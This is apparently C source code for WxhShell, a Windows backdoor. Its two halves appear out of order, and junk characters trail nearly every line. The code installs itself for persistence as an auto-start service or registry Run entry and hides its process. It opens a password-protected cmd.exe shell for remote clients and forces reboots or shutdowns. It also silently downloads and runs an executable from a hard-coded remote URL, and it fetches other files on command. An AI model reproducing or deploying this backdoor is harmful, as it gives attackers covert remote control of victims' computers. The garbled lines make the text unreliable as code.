  case 'd': { )>S,#_e*b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z6A-i@  
    if(Boot(SHUTDOWN)) nSC2wTH!1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F= %A9b_a  
    else { ?Ve I lD  
    closesocket(wsh); `fTM/"  
    ExitThread(0); Y)+q[MZ R  
    } +yHz7^6-5  
    break; c38XM]Jeq  
    } 4=MjyH|[Jx  
  // 获取shell 'A3skznX{  
  case 's': { H(rD*R[  
    CmdShell(wsh); XNv2xuOcJ  
    closesocket(wsh); ~~ rR< re  
    ExitThread(0); +E_yEH7_)  
    break; {svo!pN:  
  } 5<R m{  
  // 退出 [!-gb+L  
  case 'x': { V?1 $H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  1/2cb-V  
    CloseIt(wsh); ,<r&] eC  
    break; UNff &E-  
    } <7`zc7c]#  
  // 离开 Fu tS  
  case 'q': { Mjy:k|aY"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a4=(z72xe  
    closesocket(wsh); S!.&#sc  
    WSACleanup(); Zrr)<'!i  
    exit(1); p2{7+m  
    break; MA6 Vy  
        } ;ryNfP%  
  } !NkCki"W  
  } $t(v `,  
'.(Gg%*\.  
  // 提示信息 o1x1SH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b' y*\9Ru  
} JHt U"  
  } y~@zfJ5/^  
U5OX.0  
  return;  pUb1#=  
} ^hmV?a:Y  
,T<JNd'  
// shell模块句柄 K+F"VW*?  
int CmdShell(SOCKET sock) _!@:@e)yB{  
{ czuIs|_K*  
STARTUPINFO si; [eDrjf3m  
ZeroMemory(&si,sizeof(si)); MMs~f*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .4)oZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !S#3mT-  
PROCESS_INFORMATION ProcessInfo; 4JAz{aw'b  
char cmdline[]="cmd"; . : Wf>:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j)?M  
  return 0; ehr-o7](  
} Gl1XRNy C  
*;Mi/^pzK  
// 自身启动模式 |'nQvn:{  
int StartFromService(void) VAz4@r7hkq  
{ ApXf<MAy  
typedef struct 'z(Y9%+a  
{ f +{=##'0  
  DWORD ExitStatus; gwRB6m$  
  DWORD PebBaseAddress; <46&R[17M  
  DWORD AffinityMask; yx :^*/  
  DWORD BasePriority; fY[Fwjj3  
  ULONG UniqueProcessId; ^w60AqR8  
  ULONG InheritedFromUniqueProcessId; HcsV q+  
}   PROCESS_BASIC_INFORMATION; L7-BuW}&  
1 :p'  
PROCNTQSIP NtQueryInformationProcess; ew~Z/ A   
>v.f H6P,}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c\{N:S>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` kT\V'  
*c$[U{Px  
  HANDLE             hProcess; EfrQ~`\  
  PROCESS_BASIC_INFORMATION pbi; ,Vhve'=*2  
ayy\7b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?e$&=FC0;  
  if(NULL == hInst ) return 0; g X!>ef  
x#D%3v"l_*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .B:ZyTI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K381B5_h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -e/}DGL  
!C#oZU]P  
  if (!NtQueryInformationProcess) return 0; f+cb83}n]  
]#)(D-i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |Vx [  
  if(!hProcess) return 0; +'<P W+U$  
.gx^L=O:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; da7"Q{f+  
h;gc5"mG  
  CloseHandle(hProcess); {aY) Qv}  
l{{,D57J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8tx*z"2S  
if(hProcess==NULL) return 0; *[Z`0AgP  
>GGM76vB=,  
HMODULE hMod; !p&<.H_  
char procName[255]; `Nx@MPo  
unsigned long cbNeeded; djdTh +>28  
WNGX`V,d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WHdMP  
!9;m~T7.  
  CloseHandle(hProcess); # )y`Zz{h  
&Hb%Q! ^Kb  
if(strstr(procName,"services")) return 1; // 以服务启动 "lh4Vg\7n  
 J=` 8  
  return 0; // 注册表启动 tO M$'0u  
} jIubJQR~  
}?s-$@$R  
// 主模块 23gN;eD+m6  
int StartWxhshell(LPSTR lpCmdLine) W"c\/]aD  
{ 1<r!9x9G  
  SOCKET wsl; V~*Gk!+f  
BOOL val=TRUE; l=CAr  
  int port=0; XV]N}~h o`  
  struct sockaddr_in door; 72dRp!J U  
z &EDW 5I  
  if(wscfg.ws_autoins) Install(); &=g3J4$z  
:#YC_ id  
port=atoi(lpCmdLine); 0= $/  
q<&1,^ A  
if(port<=0) port=wscfg.ws_port; .4zzPD$1  
Ei!Z]jeK  
  WSADATA data; k&$ov  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d&+]@ Ii  
& FhJ%JK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t1w5U+z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zZCl]cql  
  door.sin_family = AF_INET; FK^xZ?G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FRQ.ix2  
  door.sin_port = htons(port); {-4+=7Sg1  
xt^1,V4Ei~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }Va((X w  
closesocket(wsl); /wJ#-DZ  
return 1; nwFBuP<LR  
} MQoA\  
duG!QS:  
  if(listen(wsl,2) == INVALID_SOCKET) { <P h50s4  
closesocket(wsl); Wk%|%/:  
return 1; jIs>>  
} Cqr{Nssu  
  Wxhshell(wsl); cq I $9  
  WSACleanup(); _E C7r>V&  
N~!, S;w  
return 0; mw"FQ?bJ  
iB)\* )  
} ]? y~;-^  
#[ prG  
// 以NT服务方式启动 XoKgs,y4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qO>UN[Y  
{ Y#F.{ i  
DWORD   status = 0; [MIgQ.n  
  DWORD   specificError = 0xfffffff; cY5&1Shb~  
a=MN:s?Fc0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; syX?O'xJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lz 1.+:Ag  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &|Gg46P7  
  serviceStatus.dwWin32ExitCode     = 0; o/{`\4  
  serviceStatus.dwServiceSpecificExitCode = 0; ' [$KG  
  serviceStatus.dwCheckPoint       = 0; ,JwX*L<:  
  serviceStatus.dwWaitHint       = 0; ED` 1)1<  
eK7A8\;e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y0xBNhev  
  if (hServiceStatusHandle==0) return; >=N-P< %  
DT]4C!dh  
status = GetLastError(); VIF43/>(  
  if (status!=NO_ERROR) U"Gx Xrl  
{ p<L7qwOii  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wpZ"B+oK!  
    serviceStatus.dwCheckPoint       = 0; 1M`E.Ztw*  
    serviceStatus.dwWaitHint       = 0; Ch"wp/[  
    serviceStatus.dwWin32ExitCode     = status; Ow;thNN  
    serviceStatus.dwServiceSpecificExitCode = specificError; UT3Fi@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8eB,$;i  
    return; kkl'D!z2g  
  } }g+kU1y  
9k6s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cO5F=ZxR  
  serviceStatus.dwCheckPoint       = 0; .n7@$kq  
  serviceStatus.dwWaitHint       = 0; s{^B98d+W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tD.#*.7  
} zH1 ;h  
kK75(x  
// 处理NT服务事件,比如:启动、停止 }d. X2?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g  *,O  
{ #L.,aTA<  
switch(fdwControl) sa.H,<;  
{ VP1hocW  
case SERVICE_CONTROL_STOP: d|R-K7 ~~  
  serviceStatus.dwWin32ExitCode = 0; x;?8Zr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y.Z_\@  
  serviceStatus.dwCheckPoint   = 0; R'gd/.[e  
  serviceStatus.dwWaitHint     = 0; if&bp ,  
  { +?)7 l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cW*v))@2  
  } 5UQ {qm*Q  
  return; fqI67E$59  
case SERVICE_CONTROL_PAUSE: )c11_1;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; daSe0:daJ  
  break; %Y~"Stmx  
case SERVICE_CONTROL_CONTINUE: wNmpUO ?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]gBnzh.  
  break; Ek<Qz5)  
case SERVICE_CONTROL_INTERROGATE: v]SxZLa  
  break; sK#) k\w>  
}; ST{Vi';}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a_Xwi:e<  
} s*rR> D:  
WOn53|GQK  
// 标准应用程序主函数 zQ+Mu^|u+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {Z c8,jm  
{ 6k hBT'n  
1hw.gn*JK>  
// 获取操作系统版本 N}#Rw2Vl  
OsIsNt=GetOsVer(); JU)^b V_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LuySa2 ,  
z|Y54o3  
  // 从命令行安装 =w3A{h"^  
  if(strpbrk(lpCmdLine,"iI")) Install(); .2%t3ul[  
=AO (  
  // 下载执行文件 ]njNSn  
if(wscfg.ws_downexe) { IR${a)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aL:|Dr3SX  
  WinExec(wscfg.ws_filenam,SW_HIDE); D?dBm  
} !H\;X`W|~D  
# `^nmC/F  
if(!OsIsNt) { 1@Jp3wW  
// 如果时win9x,隐藏进程并且设置为注册表启动 M-t 9M~  
HideProc(); H4ie$/[$8  
StartWxhshell(lpCmdLine); $IQPB_:  
} eKOEOm+  
else uF<34  
  if(StartFromService()) [)V~U?  
  // 以服务方式启动 nT?+^Ruc  
  StartServiceCtrlDispatcher(DispatchTable); H~yHSm 3  
else ?pZ"7kkD  
  // 普通方式启动 _#V&rY&@  
  StartWxhshell(lpCmdLine); E3 % ~!ZC  
brmS J7  
return 0; \a+Q5g  
} c!E{fSP  
*+rfRH]a  
dU3A:uS^  
XYvj3+  
=========================================== _&]7  
yP7b))AW9  
kn}^oRT  
GTLS0l)  
2|j=^  
t]SB .ja  
" -+[Lc_oNPx  
;j9%D`u<  
#include <stdio.h> *OA(v^@tx7  
#include <string.h> _>vH%FY  
#include <windows.h> nFJW\B&(`  
#include <winsock2.h> 2,:{ 5]Q$  
#include <winsvc.h> BI%^7\HZ  
#include <urlmon.h> {#kCqjWG  
QKjn/%l"@  
#pragma comment (lib, "Ws2_32.lib") GeJ}myD O  
#pragma comment (lib, "urlmon.lib") s'yR 2JYv  
HN7tIz@Frc  
#define MAX_USER   100 // 最大客户端连接数 /k/X[/WO  
#define BUF_SOCK   200 // sock buffer m}z6Bbis0  
#define KEY_BUFF   255 // 输入 buffer -F?97&G$  
^ ##j {h7  
#define REBOOT     0   // 重启 a]*{!V{$i  
#define SHUTDOWN   1   // 关机 x_~_/&X5  
z6)N![ X  
#define DEF_PORT   5000 // 监听端口 UJ,vE}=_{  
oaQW~R`_  
#define REG_LEN     16   // 注册表键长度 K+|XI|1p  
#define SVC_LEN     80   // NT服务名长度 #M~yt`R~  
f_)#  
// 从dll定义API s=:)!M.i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6hj[/O)E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y-bTKSn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +ZbNSN=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `xx.,;S  
pnuo;rs  
// wxhshell配置信息 ~qZ6I)?  
struct WSCFG { 4 xqzdR_  
  int ws_port;         // 监听端口 :4AIYk=q  
  char ws_passstr[REG_LEN]; // 口令 w)|9iL8  
  int ws_autoins;       // 安装标记, 1=yes 0=no pfZ[YC-  
  char ws_regname[REG_LEN]; // 注册表键名 FdE?uw  
  char ws_svcname[REG_LEN]; // 服务名 hrnE5=iY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m!KEK\5M?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NxF:s,a6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W!$U{=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x:0swZ5Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AM=> P 7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k6"(\d9o  
Pm6U:RL  
}; : j kO  
G>"n6v'^d  
// default Wxhshell configuration hdWVvN  
struct WSCFG wscfg={DEF_PORT, 0S :&wb  
    "xuhuanlingzhe", {J)%6eL?  
    1, Tv1oy%dK  
    "Wxhshell", sSfP.R  
    "Wxhshell", x"sbm  
            "WxhShell Service", D7nK"]HG;l  
    "Wrsky Windows CmdShell Service", T%oJmp?0  
    "Please Input Your Password: ", -ysNo4#e&  
  1, H ~3.F  
  "http://www.wrsky.com/wxhshell.exe", `D|])^"{  
  "Wxhshell.exe" `Kg!aN  
    }; v {r%/*  
$gnrd~v4e  
// 消息定义模块 4`"}0:t.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9<0yz?b':  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8H-yT1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c $r"q :\  
char *msg_ws_ext="\n\rExit."; E[#VWM I  
char *msg_ws_end="\n\rQuit."; ]&H"EHC<$  
char *msg_ws_boot="\n\rReboot..."; ;%d<Uk?  
char *msg_ws_poff="\n\rShutdown..."; U]}FA2  
char *msg_ws_down="\n\rSave to "; eH7x>[lH.  
KDb j C'3  
char *msg_ws_err="\n\rErr!"; "Y^j=?1k  
char *msg_ws_ok="\n\rOK!"; Zoxblk  
.`~?w+ ~  
char ExeFile[MAX_PATH]; tl /i  
int nUser = 0; Odwf7>  
HANDLE handles[MAX_USER]; 9QX!HQ|5y8  
int OsIsNt; I4%kYp]  
[K,P)V>K  
SERVICE_STATUS       serviceStatus; }F0<8L6%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _cJ)v/]  
N$Ad9W?T  
// 函数声明 5.ab/uk;M  
int Install(void); r'yNc&~  
int Uninstall(void); UUDHknm"  
int DownloadFile(char *sURL, SOCKET wsh); kh# QT_y  
int Boot(int flag); iJE:>qOTD5  
void HideProc(void); { i6L/U.  
int GetOsVer(void); } r(b:}DN  
int Wxhshell(SOCKET wsl); ;^bfLSWm{  
void TalkWithClient(void *cs); [ KgO:},c  
int CmdShell(SOCKET sock); ),vDn}>  
int StartFromService(void); d)V8FX,t  
int StartWxhshell(LPSTR lpCmdLine); uWKmINjv'  
;<m*ASM.3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i$%Bo/Y   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W/\VpD) ?;  
 !AJkd.  
// 数据结构和表定义 f6K.F  
SERVICE_TABLE_ENTRY DispatchTable[] = vGlVr.)  
{ (/<Nh7C1c  
{wscfg.ws_svcname, NTServiceMain}, 6QA`u*  
{NULL, NULL} ^%zhj3#  
}; sgi5dQ  
nK03xYA  
// 自我安装 smfI+Z S"  
int Install(void) Nc(CGl:  
{ mST8+R@S  
  char svExeFile[MAX_PATH]; Lhp&RGy  
  HKEY key; [u!n=ev  
  strcpy(svExeFile,ExeFile); 9vyf9QE;  
UL}wGWaoG  
// 如果是win9x系统,修改注册表设为自启动 deaB_cjdI  
if(!OsIsNt) { 6d/Q"As  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VQqBo~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G\ F>*  
  RegCloseKey(key); r!f UMDS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g/f6N z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XxMZU(5  
  RegCloseKey(key); TaD;_)(  
  return 0; 7^#f)Vp  
    } pD({"A.x9z  
  } MhCU; !  
} 9MfU{4:;I  
else { Jn=;gtD- *  
2<B'PR-??y  
// 如果是NT以上系统,安装为系统服务 11"r FZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q 0F6MAXj  
if (schSCManager!=0) fWq*Op.]c  
{ V:L%GWU  
  SC_HANDLE schService = CreateService DFWO5Y_  
  ( h_#=f(.'j  
  schSCManager, u#EcR}=]  
  wscfg.ws_svcname, XEA5A.uc  
  wscfg.ws_svcdisp, cQhr{W,Un  
  SERVICE_ALL_ACCESS, v]{UH {6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =MQ/z#:-P  
  SERVICE_AUTO_START, .\_RavW23  
  SERVICE_ERROR_NORMAL, T4wk$R L  
  svExeFile, F<b'{qf"  
  NULL, ':;k<(<-  
  NULL, ?[Y(JO#  
  NULL, Y&yfm/Ru  
  NULL, f0SrPc v  
  NULL bD,X.  
  ); Jf?6y~X>Y  
  if (schService!=0) Gqd|F>  
  { RV  V`  
  CloseServiceHandle(schService); S j~SG  
  CloseServiceHandle(schSCManager); ="YGR:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B }%2FUv  
  strcat(svExeFile,wscfg.ws_svcname); ~ C%I'z'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nI]EfHU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <7Pp98si,u  
  RegCloseKey(key); \fTQNF  
  return 0; !\4B.  
    } #}y8hzS$  
  } ?Q-Tyf$3  
  CloseServiceHandle(schSCManager); 9r]|P}yuS  
} w1"+HJd  
} A/<u>cCW  
]7Vg9&1`  
return 1; ;9OhK71}  
} TC/c5:)]  
A_9^S!  
// 自我卸载 ]S&ki}i&  
int Uninstall(void) Su,:f_If,  
{ !-7n69:G  
  HKEY key; i WD|F-  
,J|,wNDU!K  
if(!OsIsNt) { =|P &G~]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [o#% Eg;  
  RegDeleteValue(key,wscfg.ws_regname); i$E [@  
  RegCloseKey(key); T3P9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KCTX2eNN&h  
  RegDeleteValue(key,wscfg.ws_regname); V#dga5*]  
  RegCloseKey(key);  '?9zL*  
  return 0; h[]9F.[  
  } 6"Fn$ :l?  
} WChP,hw  
} QnVr)4"  
else { -n05Z@7  
!} TsFa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4uIYX  
if (schSCManager!=0) f zo'9  
{ h) Wp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =Hd yra  
  if (schService!=0) n6% `  
  { uAPVR  
  if(DeleteService(schService)!=0) { [HQ)4xG  
  CloseServiceHandle(schService); *z0d~j*W;  
  CloseServiceHandle(schSCManager); Lg7A[\c ~  
  return 0; EhHxB fAQ  
  } m]2xOR_  
  CloseServiceHandle(schService); {=[>N>"  
  } e NIzI]~  
  CloseServiceHandle(schSCManager); ]X>yZec  
} l\s!A&L  
} sFFQ]ST2p  
|EE1S{!24m  
return 1; 6^Wep- $  
} &|>~7(  
GF ux?8A:%  
// 从指定url下载文件 |HK:\)L%  
int DownloadFile(char *sURL, SOCKET wsh) ZUQ _u  
{ >Wr%usNxc  
  HRESULT hr; d<a|dwAeh  
char seps[]= "/"; O{LCHtN  
char *token; '}_r/l]K  
char *file; Z0Z6a Zeb  
char myURL[MAX_PATH]; Xi&J%N'  
char myFILE[MAX_PATH]; W*C~Xba<  
I$7eiW @  
strcpy(myURL,sURL); +& r!%j7  
  token=strtok(myURL,seps); OjUPvR2 0  
  while(token!=NULL)  `t U  
  { Z4VFfGCTL  
    file=token; \~5|~|9<  
  token=strtok(NULL,seps); q7X]kr*qx  
  } OH\^j1x9I  
Q7865  
GetCurrentDirectory(MAX_PATH,myFILE); xR1G  
strcat(myFILE, "\\"); 4KH492Nq9  
strcat(myFILE, file); =5+*TL`  
  send(wsh,myFILE,strlen(myFILE),0); sasurR|;  
send(wsh,"...",3,0); 6z9 '|;,4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TQ4@|S:OF  
  if(hr==S_OK) {6'X z  
return 0; L|'^P3#7`  
else >pU9}2fpT  
return 1; I/dy^5@F  
!ZBtXt#P  
} @[n#-!i  
rpT.n-H>%A  
// 系统电源模块 L80(9Y^xn  
int Boot(int flag) ~Bzzu % S  
{ bKo %Ak,  
  HANDLE hToken; L!fTYX#K]  
  TOKEN_PRIVILEGES tkp; ote,`h  
Wgwd?@uK  
  if(OsIsNt) { jo`ZuN{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _VrY7Mz:r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gfQ?k  
    tkp.PrivilegeCount = 1; W$c@C02<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n<ZPWlJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,>  zEG  
if(flag==REBOOT) { ||Zup\QB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8-2 `S*  
  return 0; Y9+_MxC"  
} S0,\{j  
else { HxG8 'G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R?xb1yc7_  
  return 0; `S {&gl  
} Z?axrGmg0  
  } hS]w A"\87  
  else { ~G!JqdKJ0  
if(flag==REBOOT) { YlHP:ZW-cu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WK>F0xMs1  
  return 0; A lU^ ,X  
} iod%YjZu  
else { <S@jf4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :?t~|7O:  
  return 0; 2c9?,Le/;  
} ]b4WfIu  
} *M.xVUPr  
(eN7s_  
return 1; j6rNt|  
} ";K w?  
>fPo_@O  
// win9x进程隐藏模块 QZ a.c  
void HideProc(void) pO` KtagL  
{ P49\A^5S!  
@+u>rS|IB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d ]P~  
  if ( hKernel != NULL ) TQa}Ps  
  { AJPvwu}D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4DA34m(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~^m Uu`@r  
    FreeLibrary(hKernel); [{x}# oRSE  
  } (j: ptQ2$  
^jdU4  
return; t[^$F,  
} ~3&{`9Y  
*3GV9'-P  
// 获取操作系统版本 (f#(B2j  
int GetOsVer(void) =*mT{q@  
{ ~ Z\:Nx  
  OSVERSIONINFO winfo; U ZM #O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j|eA*UE  
  GetVersionEx(&winfo); *r7v Dc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \(o"/*  
  return 1; x$Dq0FX!%_  
  else ;a:H-iC  
  return 0; )BP*|URc  
} K@D\5s|1|  
)#=J<OpG  
// 客户端句柄模块 ]\$/:f-2  
int Wxhshell(SOCKET wsl) +# W94s~0V  
{ Gz[yD ~6a  
  SOCKET wsh; aB9!}3@  
  struct sockaddr_in client; ud1M-lY\U  
  DWORD myID; .Eao|;  
\CbJU  
  while(nUser<MAX_USER) UtZ,q!sg  
{ j)A#}4jd  
  int nSize=sizeof(client); D&@]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wa_qD  
  if(wsh==INVALID_SOCKET) return 1; YG p+[|'  
tK#R`AQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K5""%O+  
if(handles[nUser]==0) :{lwz#9V  
  closesocket(wsh); GIC1]y-'  
else "}4%vZz  
  nUser++; 1yy?1&88S  
  } i|YS>Pw~j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mgs(n5V5  
a?c&#Jl  
  return 0; !vnQ;g5  
} vF$i"^;tJ;  
2-&EkF4p'  
// 关闭 socket .KsR48g8  
void CloseIt(SOCKET wsh) B /? L$m  
{ ?pDr"XH~  
closesocket(wsh); PnlI {d  
nUser--; d=!:UB  
ExitThread(0); Cy/&KWLenf  
} U|(+-R8Z  
d0 cL9&~qW  
// 客户端请求句柄 Qzi?%&  
void TalkWithClient(void *cs) Szus*YL7  
{ /7Q|D sa  
%u -x9  
  SOCKET wsh=(SOCKET)cs; QrZ#<{,J5  
  char pwd[SVC_LEN]; |{jT+  
  char cmd[KEY_BUFF]; Jd2.j?P=  
char chr[1]; s27IeF3  
int i,j; hsZ/Vnn`  
39pG-otJ  
  while (nUser < MAX_USER) { L * n K> +  
=bVPHrKNQ  
if(wscfg.ws_passstr) {  >@ t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9>""xt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Au2e  
  //ZeroMemory(pwd,KEY_BUFF); iCt.rr~;V  
      i=0; ZzT=m*tQ&  
  while(i<SVC_LEN) { 2_o#Gx'  
nQ%HtXt;  
  // 设置超时 vW63j't_  
  fd_set FdRead; {h<D/:^v  
  struct timeval TimeOut; @ [$_cGR7  
  FD_ZERO(&FdRead); y4V:)@ P  
  FD_SET(wsh,&FdRead); s0kp(t!fiu  
  TimeOut.tv_sec=8; gT+/nSrLV  
  TimeOut.tv_usec=0; enoj4g7em^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i;[y!U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FhE{khc#  
1v o)]ff  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); azcPeAe  
  pwd=chr[0]; <N<Q9}`V  
  if(chr[0]==0xd || chr[0]==0xa) { EeIDlm0o  
  pwd=0; }\pI`;*O|  
  break; PT"}2sR)  
  } }Q7y tE  
  i++; 4#U}bN  
    } `]Bb0h1![  
5xY{Q  
  // 如果是非法用户,关闭 socket #cbgp;,M{I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S63 Zk0(25  
} )Q)qz$h@  
BFLef3~.0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7>JYwU{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `i7r]  
U=>S|>daR  
while(1) { k[=qx{Osx%  
0lw>mxN  
  ZeroMemory(cmd,KEY_BUFF); X/!_>@`7?  
xad`-vw  
      // 自动支持客户端 telnet标准   yPyu)  
  j=0; NnZW@ln"|  
  while(j<KEY_BUFF) { t [QD#;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ {Z0@G+  
  cmd[j]=chr[0]; Xtp8 ^4Va  
  if(chr[0]==0xa || chr[0]==0xd) { 1uF$$E6[  
  cmd[j]=0; Q YJ EUC@  
  break; cHFi(K]|1  
  } 0X$mT:=9  
  j++; 99m2aT()  
    } ,d G.67  
``o]i{x  
  // 下载文件 Z`Yt~{,Q  
  if(strstr(cmd,"http://")) { pwUXM?$R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eH&F gmU  
  if(DownloadFile(cmd,wsh)) ^aFm6HS1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9I/b$$?D  
  else MNT~[Z9L5G  
